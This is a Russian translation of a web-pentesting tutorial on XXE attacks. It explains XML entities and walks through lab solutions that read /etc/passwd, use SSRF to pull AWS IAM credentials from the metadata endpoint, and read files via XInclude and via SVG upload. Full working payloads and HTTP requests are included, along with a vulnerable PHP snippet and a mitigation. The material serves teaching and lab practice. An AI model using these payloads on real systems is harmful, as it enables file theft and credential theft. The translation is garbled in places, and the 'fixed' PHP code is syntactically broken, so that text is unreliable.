Yesterday

Введение в XXE:  использование  уязвимостей внешних XML [Complete web app pentesting series #14]

Введение

Внедрение внешних сущностей XML (XXE) — это серьёзная уязвимость, эксплуатирующая неправильно настроенные XML-процессоры. Эти парсеры, предназначенные для внешних сущностей, могут быть прочитаны злоумышленниками, могут быть выполнены удалённые запросы и даже спровоцированы атаки типа «отказ в обслуживании». В этой статье рассматриваются основные принципы работы внутренних и внешних сущностей в XML и способы их эксплуатации для раскрытия данных о файлах.

Понимание уязвимостей внешней сущности XML (XXE)

Уязвимости XML External Entity (XXE) возникают из-за некорректной или нестрогой настройки XML-парсера приложения. Это позволяет злоумышленнику переструктурировать XML-файл, что может привести к раскрытию конфиденциальной информации, подделке запросов на стороне сервера (SSRF) и даже к бессрочному отказу в обслуживании (DoS).

Основы XML

  • XML (расширяемый язык разметки):

XML — это язык разметки, используемый для кодирования документов в формате, удобном для чтения человеком и машиной. Каждый файл с чистым кодом (фактически, все файлы) должен соответствовать более строгим критериям, чем те, которые можно было бы реализовать в HTML. XML-документ почти всегда содержит XML-декларацию:

<?xml version="1.0" encoding="UTF-8"?>
  • XML-декларация:

Этот оператор устанавливает версию и кодировку XML.

Определение типа документа (DTD)

  • DTD

DTD — это набор правил, которые являются допустимыми элементами построения XML-документа. Он определяет структуру документа и определяет его элементы и атрибуты. В DTD также могут быть определены сущности, например переменные, содержащие повторно используемые значения.

Пример простого DTD, объявляющего внутренние сущности:

  <!DOCTYPE note [
    <!ENTITY greeting "Hello, World!">
  ]>
  <note>
    <message>&greeting;</message>
  </note>

В этом случае внутренняя сущность greetingопределяется как строка «Hello, World!», затем ссылается как &greeting;.

Сущности в XML

  • Internal Entities:

Внутренние сущности определяются непосредственно в DTD и эквивалентны литеральным значениям. Они используются для предотвращения повторения строк и поддержания подобия.

<!ENTITY company "Example Corp">
  • При вызове (например, &company;), парсер заменяет ее точной строкой «Example Corp».
  • External Entities:

Внешние сущности объявляются с использованием SYSTEM или PUBLICКлючевые слова и справочные данные, поступающие из внешнего ресурса по URI. Например:

  <!DOCTYPE data [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
  <data>&xxe;</data>

Здесь, сущность xxeполучает доступ к данным из /etc/passwd. URI во внешнем объекте называется **system}, что указывает на исходное местоположение внешнего контента.

  • Parameterized Entities:

Такие сущности включаются в DTD для определения других сущностей. Они имеют префикс % ` или доступны только в DTD. Например:

  <!DOCTYPE config [
    <!ENTITY % common "CommonConfigValue">
    <!ENTITY fullConfig "%common; - Extended">
  ]>
  <config>&fullConfig;</config>

Параметризованные сущности добавляют больше динамичности и модульности DTD, но также увеличивают риск атак при неправильном использовании.

Как работает XXE

При создании документа XML-парсер заменяет ссылку на сущность её значением. Если злоумышленник добавляет вредоносный DTD, ссылающийся на внешнюю сущность, ведущую к конфиденциальному файлу или URL-адресу злоумышленника, парсер случайно вставляет такие данные в выходные данные или выполняет непреднамеренные сетевые запросы. Это приводит к раскрытию данных, SSRF-атакам и DoS-атакам, если парсер пытается проанализировать большой объём данных, например, к атаке Billion Laughs.

Основные концепции и структура XML

  • Структура XML:

POST-запросы с XML-телом необходимо всегда проверять. Найдите место, где можно разместить дополнительную информацию DTD, чтобы информировать систему о ваших пользовательских сущностях.

  • Определения типов документов (DTD):

DTD определяют структуру XML-документа, включая объявления сущностей. Существует два основных типа:

  • Internal Entities:

Находятся в сопроводительном XML-документе и имеют следующий синтаксис:

<!ENTITY gar "example value">
  • Внутренние назначенные объекты ведут себя как отсортированные переменные и ограничиваются локальным содержимым.
  • External Entities: на внешние сущности можно ссылаться с помощью SYSTEMключевое слово и ресурс можно указать через URI, например file:// или http://. Например:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

External entities заставляют анализатор извлекать и включать контент из внешнего источника по указанию извне.

Тестирование черного ящика

Лабораторная работа 1: Эксплуатация XXE с использованием внешних сущностей для извлечения файлов

URL лаборатории - https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

Шаг 1: Перехват XML-запроса:

Этот шаг включает в себя исследование приложения, нажатие каждой отдельной кнопки, как только мы просматриваем продукт и нажимаем «Просмотреть запасы», мы видим POSTзапрос, глядя на него, он, кажется, разбирается xmlсущностей. Давайте начнём работать с продуктом.

Шаг 2. Внедрение вредоносного DTD:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

Шаг 3: Обратный вызов сущности и форматирование нашего синтаксиса XML

Теперь, поскольку productId отражён в ответе, давайте снова вызовем нашу сущность. Наша итоговая полезная нагрузка должна выглядеть примерно так.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>
&xxe;
</productId><storeId>1</storeId></stockCheck>

С этим измененным синтаксисом мы бы решили лабораторную работу, но учтите, что если вы не используете ;то анализатор XML выдаст ошибку.

Лабораторная работа 2: Использование XXE для проведения атак SSRF

Эта лабораторная работа очень простая. В предыдущей лабораторной работе мы использовали протокол file://, а в этой будем использовать протокол http для доступа к внутренним данным. Поскольку эта лабораторная работа размещена на AWS, мы будем использовать их IP-адрес. Теперь мы выполняем те же шаги до ШАГА 2, где немного изменяем нашу полезную нагрузку.

Шаг 2: Наша полезная нагрузка должна выглядеть примерно так.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>

<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Мы получим ошибку, но не волнуйтесь, поскольку эта ошибка содержит наш путь к следующему каталогу, который нам следует искать.

Наш ответ будет выглядеть примерно так:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 28

"Invalid product ID: latest"

После того, как мы добавим последнюю версию к нашей полезной нагрузке, наша новая измененная полезная нагрузка будет выглядеть примерно следующим образом:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest"> ]>

Шаг 3: Продолжайте изменять полезную нагрузку, пока не получим необходимые данные.

Наш финальный код должен выглядеть примерно так. Он содержитSecretAccessKeyв формате json.

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>

Не забудьте вызвать обратно нашу сущность, наш окончательный HTTP-запрос должен выглядеть примерно так. С помощью этого мы должны смочь решить нашу лабораторную работу.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>

<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

Лабораторная работа 3: Использование XInclude для извлечения файлов

URL Лабаратории: https://portswigger.net/web-security/xxe/lab-xinclude-attack

Когда использовать XInclude?

В ситуациях, когда стандартные полезные нагрузки XXE блокируются ограничениями на объявление сущностей, а также когда приложение обрабатывает только часть XML, XInclude предоставляет альтернативную поверхность атаки. Эта техника реализуется путем добавления директивы XInclude к фрагментам XML, которые не поддерживают полные объявления DOCTYPE, что позволяет запускать выполнение файлов на бэкэнд-системах.

Исследование приложения:

Теперь мы просматриваем магазин и нажимаем на опцию «check stock». В отличие от предыдущих случаев, мы видим POST-запрос, но на этот раз в запросе нет XML.

Теперь мы отправляем это на repeater и добавляем нашу полезную нагрузку. Перед этим мы пытались преобразовать этот запрос в JSON и XML, но это не сработало. Мы также пытались вызвать пустые сущности, но по соображениям безопасности они, похоже, не включены.

Распределение полезной нагрузки

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

Наш окончательный HTTP-запрос должен выглядеть примерно так:

POST /product/stock HTTP/2
Host: 0aed0068045ca59e80d5eec200a80017.web-security-academy.net
Cookie: session=sIgSNWBNsJdoh5f2ez8rhpRnlbUCmAGO
Content-Length: 128
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-GB,en;q=0.9
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: https://0aed0068045ca59e80d5eec200a80017.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aed0068045ca59e80d5eec200a80017.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>
&storeId=

Ключевые компоненты

  • **Root Element <foo>: Базовый контейнерный элемент, который только обеспечивает структуру для нашей полезной нагрузки и не должен соответствовать какой-либо определенной схеме.
  • XInclude Namespace Declaration:
 xmlns:xi="http://www.w3.org/2001/XInclude"

Это связывает префикс xi с официальным пространством имен XInclude, и с этого момента элемент XML-Include является красным флагом для процессоров XML.

  • Элемент XInclude: ядро нашего эксплойта
    • href="file:///etc/passwd": Отправляет целевой файл, который мы хотим получить из локальной файловой системы сервера.
    • parse="text": Важный атрибут процессора, который заставляет его обрабатывать включенное содержимое как обычный необработанный текст, а не как XML, чтобы избежать ошибок разбора, поскольку /etc/passwd не является действительным XML.

Почему это работает

  1. Обход традиционных средств защиты XXE: XInclude выполняется на уровне обработки XML, а не на уровне DTD, поэтому он обходит ограничения, налагаемые внешними сущностями.
  2. Работает в частичных контекстах XML: также работает, когда приложение обрабатывает только фрагменты XML или не может читать DOCTYPE.

Лабораторная работа 4: Использование уязвимости XXE при загрузке файлов изображений

Уязвимость

Файлы SVG являются родными для XML, поэтому они могут использоваться в качестве векторов для атак XML External Entity (XXE), если они не имеют надлежащей защиты от проблем с загрузкой. В этой статье объясняется, как вредоносная полезная нагрузка в аватаре SVG может использовать уязвимость сервера.

Объяснение полезной нагрузки

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///etc/hostname" >
]>
<svg width="128px" height="128px"
     xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink"
     version="1.1">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Сохраните эту полезную нагрузку в формате .svg и загрузите в разделе avatar.

После того, как вы загрузили, перейдите к своим комментариям в блоге и просмотрите загруженное вами изображение. На изображении должно быть указано hostname. Отправьте hostname в качестве ответа, и с этим вы решили свою лабораторную работу.

Разбор компонентов

  • XML Declaration: <?xml version="1.0" standalone="yes"?> указывает версию XML и сообщает Mark, что этот документ не ссылается на какие-либо внешние DTD, т. е. не импортируется никакой внешний XML.
  • DOCTYPE Declaration: важная часть, которая объявляет наш эксплойт:
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/hostname" >
  ]>

Это указывает XML-парсеру извлечь содержимое файла /etc/hostname из файловой системы сервера и заменить им все &xxe;.

  • Структура SVG и пространства имен:

xmlns="http://www.w3.org/2000/svg" объявляет пространство имен SVG по умолчанию

xmlns:xlink="http://www.w3.org/1999/xlink" объявляет пространство имен xlink, которое помогает поддерживать валидность файла как SVG, обеспечивая правильную обработку, даже если оно не используется напрямую в нашем эксплойте

  • Вектор атаки: <text fontSize="16" x="0" y="16">&xxe;</text> содержит ссылку на объект, которая при разборе будет заменена на имя хоста сервера.

Почему это работает

  1. SVG как XML-троянский конь: изображения, созданные в формате SVG, основанном на XML, но обычно рассматриваемые как изобразительный контент, могут обходить фильтры контента, неся в себе XML-атаку.
  2. Неправильно настроенные XML-парсеры: если сервер позволяет XML-парсеру загружать внешние объекты (что обычно является ошибкой), сервер загрузит данные внешнего файла.
  3. Раскрытие информации: Имя хоста отображается в виде текста в «изображении» SVG после обработки с помощью информации, похищенной с сервера благодаря уязвимости.

Тестирование методом белого ящика

Анализ исходного кода:

(Location: OrderController.php inside controllers folder→ order() method)

Вот проблемный код, обрабатывающий ввод XML:

else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')  
{  
    $order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT);  
    if (!$order->food) return 'You need to select a food option first';  
    return "Your ($order->food) order has been submitted successfully.";  
}

Код уязвим для атаки xxe по следующим причинам:

1. Уязвимость кроется во флагах: LIBXML_NOENT

simplexml_load_string()функция имеет LIBXML_NOENTФлаг. Этот флаг указывает XML-анализатору развернуть все XML-сущности до их значений. Например, &amp;становится &. Но если бросить его вместе с внешними элементами, то это уже становится оружием:

<!DOCTYPE root [  
    <!ENTITY xxe SYSTEM "file:///etc/passwd">  
]>  
<order><food>&xxe;</food></order>

Здесь &xxe;получает расширяется в /etc/passwdиз-за LIBXML_NOENT.

2. Отсутствие ограничений на загрузку сущностей

PHP Код не отключает загрузчик внешних сущностей. По умолчанию PHP разрешает парсерам XML извлекать внешние ресурсы (например, файлы или URL). Этот параметр можно пропустить, так как если он не отключен, злоумышленники смогут читать произвольные файлы.

3. Отсутствие проверки входных данных

Приложение слепо доверяет любым XML-данным. Нет никакой проверки для защиты от таких рисков, как <!DOCTYPE> или <!ENTITY>.

Эксплуатация

Первая попытка:

Мы исследуем приложение и понимаем, что оно отправляет данные через json. Давайте поищем в Google быструю полезную нагрузку для xxe, чтобы получить флаг. В итоге мы получаем следующую полезную нагрузку. Мы немного изменяем её, чтобы получить флаг.

<?xm:l version="1.0"?>
<!DOCTYPE test [<!ENTITY test SYSTEM 'file://flag'>]>
<order><food>&test;</food></order>

Но наш сервер отвечает следующим сообщением об ошибке:

{“status”:“danger”,“message”:“You need to select a food option first”}

Вторая попытка:

Даже после изменения json данные для xml веб-приложение выдает 400 Ошибку. Мы изменили наш запрос, используя content type converter плагин, но похоже content-type должно быть строго Content-Type: application/xml и не Content-Type: application/xml;charset=UTF-8. Наш плагин добавляет charset=UTF-8 который возвращает 404 error.

Несмотря на изменение типа контента, мы получаем следующую ошибку. Возможно, это как-то связано с тегами.

You need to select a food option first

Третья попытка:

Получив эту нагрузку, стало понятно, что ошибка заключалась в том, что мы не использовали данные json в качестве входных данных и не создавали теги. Похоже, что это веб-приложение принимает в качестве входных данных только определенный тип данных. Наш окончательный полезный груз выглядит примерно так:

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]>
<order>
  <table_num>1</table_num>
 <food>&ent;</food>
</order>

Таким образом, мы успешно получаем наш флаг.

Смягчение последствий

Шаг 1: Удалить LIBXML_NOENT

Этот флаг не нужен во многих случаях использования и напрямую разрешает замену сущностей.

Шаг 2: Отключите внешние объекты

Добавьте эту строку перед вызовом XML-анализатора:

libxml_disable_entity_loader(true); // Block external entities
Шаг 3: Используйте флаги безопасного анализа

Заменять LIBXML_NOENT с LIBXML_NONETчтобы избежать сетевого запроса:

$order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NONET);
Исправленный фрагмент кода
else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml')  
{  
    libxml_disable_entity_loader(true); //  CRITICAL FIX
    $order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NONET);  
    if (!$order->food) return 'Please choose a food first';  
    return Your ($order->food) order has been successfully submited.  
}

Мы внесли в наш код следующее изменение:

  1. libxml_disable_entity_loader(true)
    • Отключает возможность PHP загружать внешние f.dozens. Даже если SPA пытается внедрить <!ENTITY>, анализатор не может ее разрешить.
  2. LIBXML_NONET
    • Не позволяет анализатору блокировать сетевой доступ (например, http://internal-server).
  3. Нет замены сущностей
    • Если не LIBXML_NOENT, &xxe;остается неизменным.

Заключение:

Уязвимости XXE раскрывают критический недостаток в том, как приложения доверяют и обрабатывают XML-входные данные, что может быть использовано злоумышленниками. Это служит напоминанием о том, что даже структурированные данные могут быть использованы в качестве оружия . От кражи конфиденциальных файлов до запуска SSRF-атак, XXE демонстрирует, как один неправильно настроенный парсер может стать причиной катастрофических нарушений.

Оригинальная статья | Перевод: THREAD